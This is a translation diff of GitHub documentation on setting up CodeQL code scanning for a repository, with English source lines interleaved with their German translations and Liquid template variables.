For compiled languages, if you want to limit {% data variables.product.prodname_code_scanning %} to specific directories in your project, you must specify appropriate build steps in the workflow. The commands you need to use to exclude a directory from the build will depend on your build system. For more information, see "[Configuring the {% data variables.product.prodname_codeql %} workflow for compiled languages](/code-security/secure-coding/configuring-the-codeql-workflow-for-compiled-languages#adding-build-steps-for-a-compiled-language)."
Wenn du bei kompilierten Sprachen {% data variables.product.prodname_code_scanning %} auf bestimmte Verzeichnisse in deinem Projekt beschränken möchtest, musst du die entsprechenden Buildschritte im Workflow angeben. Welche Befehle du verwenden musst, um ein Verzeichnis aus dem Buildvorgang auszuschließen, hängt von deinem Buildsystem ab. Weitere Informationen findest du unter [Konfigurieren des {% data variables.product.prodname_codeql %}-Workflows für kompilierte Sprachen](/code-security/secure-coding/configuring-the-codeql-workflow-for-compiled-languages#adding-build-steps-for-a-compiled-language).
You can quickly analyze small portions of a monorepo when you modify code in specific directories. You'll need to both exclude directories in your build steps and use the `paths-ignore` and `paths` keywords for [`on.<push|pull_request>`](/actions/reference/workflow-syntax-for-github-actions#onpushpull_requestpull_request_targetpathspaths-ignore) in your workflow.
Du kannst kleine Teile eines Monorepositorys schnell analysieren, wenn du Code in bestimmten Verzeichnissen änderst. Du musst sowohl Verzeichnisse in den Buildschritten ausschließen als auch die Schlüsselwörter `paths-ignore` und `paths`r [`on.<push|pull_request>`](/actions/reference/workflow-syntax-for-github-actions#onpushpull_requestpull_request_targetpathspaths-ignore) in deinem Workflow verwenden.
### Example configuration files
### Beispielkonfigurationsdateien
{% data reusables.code-scanning.example-configuration-files %}
## Configuring {% data variables.product.prodname_code_scanning %} for compiled languages
## Konfigurieren von {% data variables.product.prodname_code_scanning %} für kompilierte Sprachen
{% data reusables.code-scanning.autobuild-compiled-languages %} {% data reusables.code-scanning.analyze-go %}
{% data reusables.code-scanning.autobuild-add-build-steps %} For more information about how to configure {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} for compiled languages, see "[Configuring the {% data variables.product.prodname_codeql %} workflow for compiled languages](/code-security/secure-coding/configuring-the-codeql-workflow-for-compiled-languages)."
{% data reusables.code-scanning.autobuild-add-build-steps %} Weitere Informationen zum Konfigurieren von {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} für kompilierte Sprachen findest du unter [Konfigurieren des {% data variables.product.prodname_codeql %}-Workflows für kompilierte Sprachen](/code-security/secure-coding/configuring-the-codeql-workflow-for-compiled-languages).
## Uploading {% data variables.product.prodname_code_scanning %} data to {% data variables.product.prodname_dotcom %}
## Hochladen von {% data variables.product.prodname_code_scanning %}-Daten in {% data variables.product.prodname_dotcom %}
{% data variables.product.prodname_dotcom %} can display code analysis data generated externally by a third-party tool. You can upload code analysis data with the `upload-sarif` action. For more information, see "[Uploading a SARIF file to GitHub](/code-security/secure-coding/uploading-a-sarif-file-to-github)."
You can display code analysis from a third-party tool in {% data variables.product.prodname_dotcom %} by adding the <code>upload-sarif</code> action to your workflow. Du kannst Codeanalysedaten mit der Aktion `upload-sarif` hochladen. Weitere Informationen findest du unter [Hochladen einer SARIF-Datei in GitHub](/code-security/secure-coding/uploading-a-sarif-file-to-github).

Просмотреть файл

@ -1,7 +1,7 @@
---
title: Setting up code scanning for a repository
title: Einrichten der Codeüberprüfung für ein Repository
shortTitle: Set up code scanning
intro: 'You can set up {% data variables.product.prodname_code_scanning %} by adding a workflow to your repository.'
intro: 'Du kannst die {% data variables.product.prodname_code_scanning %} einrichten, indem du einen Workflow zu deinem Repository hinzufügst.'
product: '{% data reusables.gated-features.code-scanning %}'
permissions: 'If you have write permissions to a repository, you can set up or configure {% data variables.product.prodname_code_scanning %} for that repository.'
redirect_from:
@ -22,178 +22,171 @@ topics:
- Code scanning
- Actions
- Repositories
ms.openlocfilehash: 8abfb992c3369242501350be20cf8e465ce090fa
ms.sourcegitcommit: b617c4a7a1e4bf2de3987a86e0eb217d7031490f
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 11/11/2022
ms.locfileid: '148161134'
---
{% data reusables.code-scanning.beta %} {% data reusables.code-scanning.enterprise-enable-code-scanning-actions %}
{% data reusables.code-scanning.beta %}
{% data reusables.code-scanning.enterprise-enable-code-scanning-actions %}
## Optionen zum Einrichten von {% data variables.product.prodname_code_scanning %}
## Options for setting up {% data variables.product.prodname_code_scanning %}
You decide how to generate {% data variables.product.prodname_code_scanning %} alerts, and which tools to use, at a repository level. {% data variables.product.product_name %} provides fully integrated support for {% data variables.product.prodname_codeql %} analysis, and also supports analysis using third-party tools. For more information, see "[About {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/about-code-scanning#about-tools-for-code-scanning)."
Du entscheidest, wie du {% data variables.product.prodname_code_scanning %}-Warnungen generieren möchtest und welche Tools auf Repositoryebene verwendet werden sollen. {% data variables.product.product_name %} bietet eine vollständig integrierte Unterstützung für {% data variables.product.prodname_codeql %}-Analysen sowie für Analysen mit Drittanbietertools. Weitere Informationen findest du unter [Informationen zu {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/about-code-scanning#about-tools-for-code-scanning).
{% data reusables.code-scanning.enabling-options %}
{% ifversion fpt or ghes > 3.4 or ghae > 3.4 or ghec %}
{% data reusables.code-scanning.about-analysis-origins-link %}
{% endif %}
{% ifversion fpt or ghes > 3.4 or ghae > 3.4 or ghec %} {% data reusables.code-scanning.about-analysis-origins-link %} {% endif %}
{% ifversion ghes or ghae %}
{% note %}
{% ifversion ghes or ghae %} {% note %}
**Note:** If you want to use the CodeQL analysis, note that this article describes the features available with the version of the CodeQL action and associated CodeQL CLI bundle included in the initial release of this version of {% data variables.product.product_name %}. If your enterprise uses a more recent version of the CodeQL action, see the [{% data variables.product.prodname_ghe_cloud %} article](/enterprise-cloud@latest/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository) for information on the latest features. {% ifversion not ghae %} For information on using the latest version, see "[Configuring code scanning for your appliance](/admin/advanced-security/configuring-code-scanning-for-your-appliance#configuring-codeql-analysis-on-a-server-without-internet-access)."{% endif %}
**Hinweis**: Beachte bei der Verwendung von CodeQL-Analysen Folgendes: In diesem Artikel werden die Features beschrieben, die mit der Version der CodeQL-Aktion und dem zugehörigen CodeQL-CLI-Bundle im ursprünglichen Release dieser Version von {% data variables.product.product_name %} verfügbar sind. Wenn dein Unternehmen eine neuere Version der CodeQL-Aktion verwendet, findest du Informationen zu den neuesten Features unter [{% data variables.product.prodname_ghe_cloud %}](/enterprise-cloud@latest/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository). {% ifversion not ghae %} Informationen zur Verwendung der neuesten Version findest du unter [Konfigurieren der Codeüberprüfung für deine Appliance](/admin/advanced-security/configuring-code-scanning-for-your-appliance#configuring-codeql-analysis-on-a-server-without-internet-access).{% endif %}
{% endnote %}
{% endif %}
{% endnote %} {% endif %}
{% ifversion ghae %}
## Prerequisites
## Voraussetzungen
Before setting up {% data variables.product.prodname_code_scanning %} for a repository, you must ensure that there is at least one self-hosted {% data variables.product.prodname_actions %} runner available to the repository.
Bevor du {% data variables.product.prodname_code_scanning %} für ein Repository einrichtest, stelle sicher, dass mindestens ein selbstgehosteter {% data variables.product.prodname_actions %}-Runner für das Repository verfügbar ist.
Enterprise owners, organization and repository administrators can add self-hosted runners. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)" and "[Adding self-hosted runners](/actions/hosting-your-own-runners/adding-self-hosted-runners)."
Enterprise-Besitzer sowie Organisations- und Repositoryadministratoren können selbstgehostete Runner hinzufügen. Weitere Informationen findest du unter [Informationen zu selbstgehosteten Runnern](/actions/hosting-your-own-runners/adding-self-hosted-runners) und [Hinzufügen selbstgehosteter Runner](/actions/hosting-your-own-runners/about-self-hosted-runners).
{% endif %}
{% ifversion fpt or ghec %}
## Setting up {% data variables.product.prodname_code_scanning %} using starter workflows
## Einrichten von {% data variables.product.prodname_code_scanning %} mithilfe von Startworkflows
{% data reusables.advanced-security.starter-workflows-beta %}
{% ifversion ghes or ghae %}
{% note %}
{% ifversion ghes or ghae %} {% note %}
**Note:** This article describes the features available with the version of the CodeQL action and associated CodeQL CLI bundle included in the initial release of this version of {% data variables.product.product_name %}. If your enterprise uses a more recent version of the CodeQL action, see the [{% data variables.product.prodname_ghe_cloud %} article](/enterprise-cloud@latest/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository) for information on the latest features. {% ifversion not ghae %} For information on using the latest version, see "[Configuring code scanning for your appliance](/admin/advanced-security/configuring-code-scanning-for-your-appliance#configuring-codeql-analysis-on-a-server-without-internet-access)."{% endif %}
**Hinweis:** In diesem Artikel werden die Features beschrieben, die mit der Version der CodeQL-Aktion und dem zugehörigen CodeQL-CLI-Bundle im ursprünglichen Release dieser Version von {% data variables.product.product_name %} verfügbar sind. Wenn dein Unternehmen eine neuere Version der CodeQL-Aktion verwendet, findest du Informationen zu den neuesten Features unter [{% data variables.product.prodname_ghe_cloud %}](/enterprise-cloud@latest/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository). {% ifversion not ghae %} Informationen zur Verwendung der neuesten Version findest du unter [Konfigurieren der Codeüberprüfung für deine Appliance](/admin/advanced-security/configuring-code-scanning-for-your-appliance#configuring-codeql-analysis-on-a-server-without-internet-access).{% endif %}
{% endnote %}
{% endif %}
{% endnote %} {% endif %}
{% data reusables.advanced-security.starter-workflow-overview %} {% data variables.product.prodname_code_scanning_capc %} starter workflows are only available for your repository if {% data variables.product.prodname_code_scanning %} is enabled.
{% data reusables.advanced-security.starter-workflow-overview %} {% data variables.product.prodname_code_scanning_capc %}-Startworkflows sind für dein Repository nur verfügbar, wenn die {% data variables.product.prodname_code_scanning %} aktiviert ist.
{% data reusables.code-scanning.billing %}
{% data reusables.repositories.navigate-to-repo %}
{% data reusables.repositories.actions-tab %}
1. If the repository has already at least one workflow set up and running, click **New workflow** and go to step 5. If there are currently no workflows configured for the repository, go to the next step.
![Screenshot of the New workflow button](/assets/images/help/security/actions-new-workflow-button.png)
1. Scroll down to the "Security" category and click **Configure** under the workflow you want to configure, or click **View all** to see all available security workflows.
![Screenshot of the Actions workflows security section](/assets/images/help/security/actions-workflows-security-section.png)
1. On the right pane of the workflow page, click **Documentation** and follow the on-screen instructions to tailor the workflow to your needs.
![Screenshot of the Documentation tab for starter workflows](/assets/images/help/security/actions-workflows-documentation.png)
For more information, see "[Using starter workflows](/actions/using-workflows/using-starter-workflows#using-starter-workflows)" and "[Configuring {% data variables.product.prodname_code_scanning %}](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning)."
{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.actions-tab %}
1. Wurde für das Repository bereits mindestens ein Workflow eingerichtet und ausgeführt, klicke auf **Neuer Workflow**, und fahre mit Schritt 5 fort. Sind derzeit keine Workflows für das Repository konfiguriert, fahre mit dem nächsten Schritt fort.
![Screenshot: Schaltfläche „Neuer Workflow“](/assets/images/help/security/actions-new-workflow-button.png)
1. Scrolle nach unten zur Kategorie „Sicherheit“, und klicke unterhalb des Workflows, den du konfigurieren möchtest, auf **Konfigurieren**. Alternativ kannst du auf **Alle anzeigen** klicken, um alle verfügbaren Sicherheitsworkflows anzuzeigen.
![Screenshot: Abschnitt „Sicherheit“ für Actions-Workflows](/assets/images/help/security/actions-workflows-security-section.png)
1. Klicke im rechten Bereich der Seite „Workflow“ auf **Dokumentation**, und folge den Anweisungen auf dem Bildschirm, um den Workflow deinen Anforderungen anzupassen.
![Screenshot: Registerkarte „Dokumentation“ für Startworkflows](/assets/images/help/security/actions-workflows-documentation.png) Weitere Informationen findest du unter [Verwenden von Startworkflows](/actions/using-workflows/using-starter-workflows#using-starter-workflows) und [Konfigurieren von {% data variables.product.prodname_code_scanning %}](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning).
{% endif %}
## Setting up {% data variables.product.prodname_code_scanning %} manually
## Manuelles Einrichten von {% data variables.product.prodname_code_scanning %}
{% ifversion fpt %}
You can set up {% data variables.product.prodname_code_scanning %} in any public repository where you have write access.
Du kannst {% data variables.product.prodname_code_scanning %} in jedem öffentlichen Repository einrichten, auf das du Schreibzugriff hast.
{% endif %}
{% data reusables.code-scanning.billing %}
{% data reusables.repositories.navigate-to-repo %}
{% data reusables.repositories.sidebar-security %}
1. To the right of "{% data variables.product.prodname_code_scanning_capc %} alerts", click **Set up {% data variables.product.prodname_code_scanning %}**.{% ifversion ghec or ghes or ghae %} If {% data variables.product.prodname_code_scanning %} is missing, you need to ask an organization owner or repository administrator to enable {% data variables.product.prodname_GH_advanced_security %}.{% endif %} For more information, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)" or "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)."
!["Set up {% data variables.product.prodname_code_scanning %}" button to the right of "{% data variables.product.prodname_code_scanning_capc %}" in the Security Overview](/assets/images/help/security/overview-set-up-code-scanning.png)
4. Under "Get started with {% data variables.product.prodname_code_scanning %}", click **Set up this workflow** on the {% data variables.code-scanning.codeql_workflow %} or on a third-party workflow.
!["Set up this workflow" button under "Get started with {% data variables.product.prodname_code_scanning %}" heading](/assets/images/help/repository/code-scanning-set-up-this-workflow.png)Workflows are only displayed if they are relevant for the programming languages detected in the repository. The {% data variables.code-scanning.codeql_workflow %} is always displayed, but the "Set up this workflow" button is only enabled if {% data variables.product.prodname_codeql %} analysis supports the languages present in the repository.
5. To customize how {% data variables.product.prodname_code_scanning %} scans your code, edit the workflow.
{% data reusables.code-scanning.billing %} {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-security %}
1. Klicke rechts neben „{% data variables.product.prodname_code_scanning_capc %}-Warnungen“ auf **{% data variables.product.prodname_code_scanning %} einrichten**.{% ifversion ghec or ghes or ghae %} Wenn {% data variables.product.prodname_code_scanning %} fehlt, musst du einen Organisationsbesitzer oder Repositoryadministrator bitten, {% data variables.product.prodname_GH_advanced_security %} zu aktivieren.{% endif %}. Weitere Informationen findest du unter [Verwalten von Sicherheits- und Analyseeinstellungen für deine Organisation](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization) oder [Verwalten von Sicherheits- und Analyseeinstellungen für dein Repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository).
![Schaltfläche „Einrichten von {% data variables.product.prodname_code_scanning %}“ rechts neben „{% data variables.product.prodname_code_scanning_capc %}“ in der Sicherheitsübersicht](/assets/images/help/security/overview-set-up-code-scanning.png)
4. Klicke unter „Erste Schritte mit {% data variables.product.prodname_code_scanning %}“ für {% data variables.code-scanning.codeql_workflow %} oder einen Drittanbieterworkflow auf **Diesen Workflow einrichten**.
![Schaltfläche „Diesen Workflow einrichten“ unter der Überschrift „Erste Schritte mit {% data variables.product.prodname_code_scanning %}“](/assets/images/help/repository/code-scanning-set-up-this-workflow.png)Workflows werden nur angezeigt, wenn sie für die im Repository erkannten Programmiersprachen relevant sind. {% data variables.code-scanning.codeql_workflow %} wird immer angezeigt. Die Schaltfläche „Diesen Workflow einrichten“ ist jedoch nur aktiviert, wenn die {% data variables.product.prodname_codeql %}-Analyse die im Repository vorhandenen Sprachen unterstützt.
5. Bearbeite den Workflow, wenn du die Codeüberprüfung durch {% data variables.product.prodname_code_scanning %} anpassen möchtest.
Generally you can commit the {% data variables.code-scanning.codeql_workflow %} without making any changes to it. However, many of the third-party workflows require additional configuration, so read the comments in the workflow before committing.
In der Regel kannst du den Commit für {% data variables.code-scanning.codeql_workflow %} ohne Änderungen übernehmen. Viele der Drittanbieterworkflows erfordern jedoch eine zusätzliche Konfiguration. Lies daher vor dem Committen die Kommentare im Workflow.
For more information, see "[Configuring {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/configuring-code-scanning)."
6. Use the **Start commit** drop-down, and type a commit message.
![Start commit](/assets/images/help/repository/start-commit-commit-new-file.png)
7. Choose whether you'd like to commit directly to the default branch, or create a new branch and start a pull request.
![Choose where to commit](/assets/images/help/repository/start-commit-choose-where-to-commit.png)
8. Click **Commit new file** or **Propose new file**.
Weitere Informationen findest du unter [Konfigurieren von {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/configuring-code-scanning).
6. Verwende die Dropdownliste **Start commit** (Commit starten), und gib eine Commitnachricht ein.
![Starten des Commits](/assets/images/help/repository/start-commit-commit-new-file.png)
7. Wähle aus, ob du direkt in den Standardbranch committen möchtest, oder erstelle einen neuen Branch, und starte einen Pull Request.
![Auswählen des Orts für den Commit](/assets/images/help/repository/start-commit-choose-where-to-commit.png)
8. Klicke auf **Commit new file** (Neue Datei committen) oder **Propose new file** (Neue Datei vorschlagen).
In the default {% data variables.code-scanning.codeql_workflow %}, {% data variables.product.prodname_code_scanning %} is configured to analyze your code each time you either push a change to the default branch or any protected branches, or raise a pull request against the default branch. As a result, {% data variables.product.prodname_code_scanning %} will now commence.
Standardmäßig wird {% data variables.code-scanning.codeql_workflow %} in {% data variables.product.prodname_code_scanning %} so konfiguriert, dass dein Code jedes Mal analysiert wird, wenn du entweder eine Änderung per Push an den Standardbranch oder an geschützte Branches überträgst oder einen Pull Request für den Standardbranch auslöst. Daraufhin wird {% data variables.product.prodname_code_scanning %} gestartet.
The `on:pull_request` and `on:push` triggers for code scanning are each useful for different purposes. For more information, see "[Scanning pull requests](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#scanning-pull-requests)" and "[Scanning on push](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#scanning-on-push)."
## Bulk set up of {% data variables.product.prodname_code_scanning %}
Die `on:pull_request`- und `on:push`-Trigger für Codescans sind jeweils für unterschiedliche Zwecke nützlich. Weitere Informationen findest du unter [Überprüfen von Pull Requests](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#scanning-pull-requests) und [Überprüfen bei Pushvorgängen](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#scanning-on-push).
## Einrichten von {% data variables.product.prodname_code_scanning %} als Massenvorgang
You can set up {% data variables.product.prodname_code_scanning %} in many repositories at once using a script. If you'd like to use a script to raise pull requests that add a {% data variables.product.prodname_actions %} workflow to multiple repositories, see the [`jhutchings1/Create-ActionsPRs`](https://github.com/jhutchings1/Create-ActionsPRs) repository for an example using PowerShell, or [`nickliffen/ghas-enablement`](https://github.com/NickLiffen/ghas-enablement) for teams who do not have PowerShell and instead would like to use NodeJS.
Mithilfe eines Skripts kannst du {% data variables.product.prodname_code_scanning %} für viele Repositorys gleichzeitig einrichten. Wenn du mit einem Skript Pull Requests auslösen möchtest, die mehreren Repositorys einen {% data variables.product.prodname_actions %}-Workflow hinzufügen, findest du im Repository [`jhutchings1/Create-ActionsPRs`](https://github.com/jhutchings1/Create-ActionsPRs) ein Beispiel mit PowerShell bzw. im Repository [`nickliffen/ghas-enablement`](https://github.com/NickLiffen/ghas-enablement) ein Beispiel für NodeJS (anstelle von PowerShell).
## Viewing the logging output from {% data variables.product.prodname_code_scanning %}
## Anzeigen der Protokollausgabe von {% data variables.product.prodname_code_scanning %}
After setting up {% data variables.product.prodname_code_scanning %} for your repository, you can watch the output of the actions as they run.
Nach dem Einrichten von {% data variables.product.prodname_code_scanning %} für dein Repository kannst du die Ausgabe der Aktionen während der Ausführung überwachen.
{% data reusables.repositories.actions-tab %}
You'll see a list that includes an entry for running the {% data variables.product.prodname_code_scanning %} workflow. The text of the entry is the title you gave your commit message.
Es wird eine Liste angezeigt, die einen Eintrag für die Ausführung des {% data variables.product.prodname_code_scanning %}-Workflows enthält. Der Text des Eintrags entspricht dem Titel deiner Commitnachricht.
![Actions list showing {% data variables.product.prodname_code_scanning %} workflow](/assets/images/help/repository/code-scanning-actions-list.png)
![Liste der Aktionen mit {% data variables.product.prodname_code_scanning %}-Workflow](/assets/images/help/repository/code-scanning-actions-list.png)
1. Click the entry for the {% data variables.product.prodname_code_scanning %} workflow.
1. Klicke auf den Eintrag für den {% data variables.product.prodname_code_scanning %}-Workflow.
1. Click the job name on the left. For example, **Analyze (LANGUAGE)**.
1. Klicke auf den Namen des Auftrags auf der linken Seite. Beispiel: **Analyse (SPRACHE)** .
![Log output from the {% data variables.product.prodname_code_scanning %} workflow](/assets/images/help/repository/code-scanning-logging-analyze-action.png)
![Protokollausgabe des {% data variables.product.prodname_code_scanning %}-Workflows](/assets/images/help/repository/code-scanning-logging-analyze-action.png)
1. Review the logging output from the actions in this workflow as they run.
1. Überprüfe die Protokollausgabe der Aktionen in diesem Workflow während der Ausführung.
1. Once all jobs are complete, you can view the details of any {% data variables.product.prodname_code_scanning %} alerts that were identified. For more information, see "[Managing {% data variables.product.prodname_code_scanning %} alerts for your repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository#viewing-the-alerts-for-a-repository)."
1. Sobald alle Aufträge abgeschlossen sind, kannst du die Details aller identifizierten {% data variables.product.prodname_code_scanning %}-Warnungen anzeigen. Weitere Informationen findest du unter [Verwalten von {% data variables.product.prodname_code_scanning %}-Warnungen für dein Repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository#viewing-the-alerts-for-a-repository).
{% note %}
**Note:** If you raised a pull request to add the {% data variables.product.prodname_code_scanning %} workflow to the repository, alerts from that pull request aren't displayed directly on the {% data variables.product.prodname_code_scanning_capc %} page until the pull request is merged. If any alerts were found you can view these, before the pull request is merged, by clicking the **_n_ alerts found** link in the banner on the {% data variables.product.prodname_code_scanning_capc %} page.
**Hinweis**: Wenn du zum Hinzufügen des {% data variables.product.prodname_code_scanning %}-Workflows zu deinem Repository einen Pull Request ausgelöst hast, werden Warnungen aus diesem Pull Request erst direkt auf der Seite „{% data variables.product.prodname_code_scanning_capc %}“ angezeigt, wenn der Pull Request gemergt wurde. Wurden Warnungen gefunden, kannst du diese vor dem Merge des Pull Requests anzeigen. Klicke hierzu im Banner auf der Seite „{% data variables.product.prodname_code_scanning_capc %} auf den Link **_n_ Warnungen gefunden**.
![Click the "n alerts found" link](/assets/images/help/repository/code-scanning-alerts-found-link.png)
![Klicke auf den Link „n Warnungen gefunden“.](/assets/images/help/repository/code-scanning-alerts-found-link.png)
{% endnote %}
## Understanding the pull request checks
## Grundlegendes zu den Überprüfungen von Pull Requests
Each {% data variables.product.prodname_code_scanning %} workflow you set to run on pull requests always has at least two entries listed in the checks section of a pull request. There is one entry for each of the analysis jobs in the workflow, and a final one for the results of the analysis.
Jeder {% data variables.product.prodname_code_scanning %}-Workflow, den du für Pull Requests festgelegt hast, weist immer mindestens zwei Einträge im Abschnitt „Überprüfungen“ eines Pull Requests auf. Ein Eintrag bezieht sich auf die einzelnen Analyseaufträge im Workflow und der letzte Eintrag auf die Ergebnisse der Analyse.
The names of the {% data variables.product.prodname_code_scanning %} analysis checks take the form: "TOOL NAME / JOB NAME (TRIGGER)." For example, for {% data variables.product.prodname_codeql %}, analysis of C++ code has the entry "{% data variables.product.prodname_codeql %} / Analyze (cpp) (pull_request)." You can click **Details** on a {% data variables.product.prodname_code_scanning %} analysis entry to see logging data. This allows you to debug a problem if the analysis job failed. For example, for {% data variables.product.prodname_code_scanning %} analysis of compiled languages, this can happen if the action can't build the code.
Der Name der {% data variables.product.prodname_code_scanning %}-Analyseüberprüfungen wird im Format „TOOLNAME / AUFTRAGSNAME (TRIGGER)“ angegeben. So erhält beispielsweise die {% data variables.product.prodname_codeql %}-Analyse von C++-Code den Eintrag „{% data variables.product.prodname_codeql %} / Analyse (cpp) (pull_request)“. Klicke für einen {% data variables.product.prodname_code_scanning %} -Analyseeintrag auf **Details**, um die Protokolldaten anzuzeigen. Auf diese Weise kannst du bei einem Fehler im Analyseauftrag das Problem debuggen. Dies kann etwa bei der {% data variables.product.prodname_code_scanning %}-Analyse kompilierter Sprachen der Fall sein, wenn der Code mit der Aktion nicht erstellt werden kann.
![{% data variables.product.prodname_code_scanning %} pull request checks](/assets/images/help/repository/code-scanning-pr-checks.png)
![{% data variables.product.prodname_code_scanning %}-Überprüfungen von Pull Requests](/assets/images/help/repository/code-scanning-pr-checks.png)
When the {% data variables.product.prodname_code_scanning %} jobs complete, {% data variables.product.prodname_dotcom %} works out whether any alerts were added by the pull request and adds the "{% data variables.product.prodname_code_scanning_capc %} results / TOOL NAME" entry to the list of checks. After {% data variables.product.prodname_code_scanning %} has been performed at least once, you can click **Details** to view the results of the analysis.
Nach Abschluss der {% data variables.product.prodname_code_scanning %}-Aufträge überprüft {% data variables.product.prodname_dotcom %}, ob vom Pull Request Warnungen hinzugefügt wurden, und fügt der Liste mit den Überprüfungen den Eintrag „{% data variables.product.prodname_code_scanning_capc %}-Ergebnisse / TOOLNAME“ hinzu. Nach mindestens einer Ausführung von {% data variables.product.prodname_code_scanning %} kannst du auf **Details** klicken, um die Ergebnisse der Analyse anzuzeigen.
{% ifversion ghes < 3.5 or ghae %}
If you used a pull request to add {% data variables.product.prodname_code_scanning %} to the repository, you will initially see an "Analysis not found" message when you click **Details** on the "{% data variables.product.prodname_code_scanning_capc %} results / TOOL NAME" check.
{% ifversion ghes < 3.5 or ghae %} Wenn du {% data variables.product.prodname_code_scanning %} mithilfe eines Pull Requests dem Repository hinzugefügt hast, wird beim Klicken auf **Details** für den Eintrag „{% data variables.product.prodname_code_scanning_capc %}-Ergebnisse/TOOLNAME zunächst die Meldung Keine Analyse gefunden angezeigt.
![Analysis not found for commit message](/assets/images/enterprise/3.4/repository/code-scanning-analysis-not-found.png)
![Meldung „Analyse nicht gefunden“ für Commit](/assets/images/enterprise/3.4/repository/code-scanning-analysis-not-found.png)
The table lists one or more categories. Each category relates to specific analyses, for the same tool and commit, performed on a different language or a different part of the code. For each category, the table shows the two analyses that {% data variables.product.prodname_code_scanning %} attempted to compare to determine which alerts were introduced or fixed in the pull request.
In der Tabelle wird mindestens eine Kategorie aufgeführt. Jede Kategorie bezieht sich auf bestimmte Analysen für dasselbe Tool und denselben Commit, die für eine andere Sprache oder einen anderen Teil des Codes ausgeführt wurden. Für jede Kategorie werden in der Tabelle die beiden Analysen angezeigt, die in {% data variables.product.prodname_code_scanning %} miteinander verglichen wurden, um die im Pull Request eingeführten oder behobenen Warnungen zu ermitteln.
For example, in the screenshot above, {% data variables.product.prodname_code_scanning %} found an analysis for the merge commit of the pull request, but no analysis for the head of the main branch.
Im vorherigen Screenshot wurde von {% data variables.product.prodname_code_scanning %} z. B. eine Analyse für den Mergecommit des Pull Requests gefunden, jedoch keine Analyse für den Kopfteil des Mainbranches.
### Reasons for the "Analysis not found" message
### Gründe für die Meldung „Keine Analyse gefunden“
After {% data variables.product.prodname_code_scanning %} has analyzed the code in a pull request, it needs to compare the analysis of the topic branch (the branch you used to create the pull request) with the analysis of the base branch (the branch into which you want to merge the pull request). This allows {% data variables.product.prodname_code_scanning %} to compute which alerts are newly introduced by the pull request, which alerts were already present in the base branch, and whether any existing alerts are fixed by the changes in the pull request. Initially, if you use a pull request to add {% data variables.product.prodname_code_scanning %} to a repository, the base branch has not yet been analyzed, so it's not possible to compute these details. In this case, when you click through from the results check on the pull request you will see the "Analysis not found" message.
Nach der Analyse des Codes in einem Pull Request durch {% data variables.product.prodname_code_scanning %} müssen die Analysen des Topic-Branches (den du zur Erstellung des Pull Requests verwendet hast) und des Basis-Branches (in den der Merge des Pull Requests erfolgen soll) miteinander verglichen werden. Dadurch kann {% data variables.product.prodname_code_scanning %} berechnen, welche Warnungen vom Pull Request neu eingeführt wurden, welche Warnungen im Basis-Branch bereits vorhanden waren und ob durch die Änderungen im Pull Request vorhandene Warnungen behoben wurden. Wenn du {% data variables.product.prodname_code_scanning %} mithilfe eines Pull Requests dem Repository hinzugefügt hast, wurde der Basis-Branch noch nicht analysiert. Daher ist die Berechnung dieser Details zunächst nicht möglich. Wenn du in diesem Fall auf die Ergebnisüberprüfung für den Pull Request klickst, wird die Meldung „Keine Analyse gefunden“ angezeigt.
There are other situations where there may be no analysis for the latest commit to the base branch for a pull request. These include:
Es gibt weitere Situationen, in denen möglicherweise keine Analyse des neuesten Commits für den Basis-Branch eines Pull Requests vorhanden ist. Dazu gehören:
* The pull request has been raised against a branch other than the default branch, and this branch hasn't been analyzed.
* Der Pull Request wurde für einen anderen Branch als den Standardbranch ausgelöst, der nicht analysiert wurde.
To check whether a branch has been scanned, go to the {% data variables.product.prodname_code_scanning_capc %} page, click the **Branch** drop-down and select the relevant branch.
Wenn du überprüfen möchtest, ob ein Branch bereits überprüft wurde, wechsle zur Seite „{% data variables.product.prodname_code_scanning_capc %}“, klicke auf das Dropdownmenü **Branch**, und wähle den entsprechenden Branch aus.
![Choose a branch from the Branch drop-down menu](/assets/images/help/repository/code-scanning-branch-dropdown.png)
![Wähle einen Branch aus der Dropdownliste „Branch“ aus.](/assets/images/help/repository/code-scanning-branch-dropdown.png)
The solution in this situation is to add the name of the base branch to the `on:push` and `on:pull_request` specification in the {% data variables.product.prodname_code_scanning %} workflow on that branch and then make a change that updates the open pull request that you want to scan.
Füge in diesem Fall den Spezifikationen `on:push` und `on:pull_request` im {% data variables.product.prodname_code_scanning %}-Workflow für diesen Branch den Namen des Basis-Branches hinzu. Füge zudem eine Änderung hinzu, mit der der offene Pull Request, den du überprüfen möchtest, aktualisiert wird.
* The latest commit on the base branch for the pull request is currently being analyzed and analysis is not yet available.
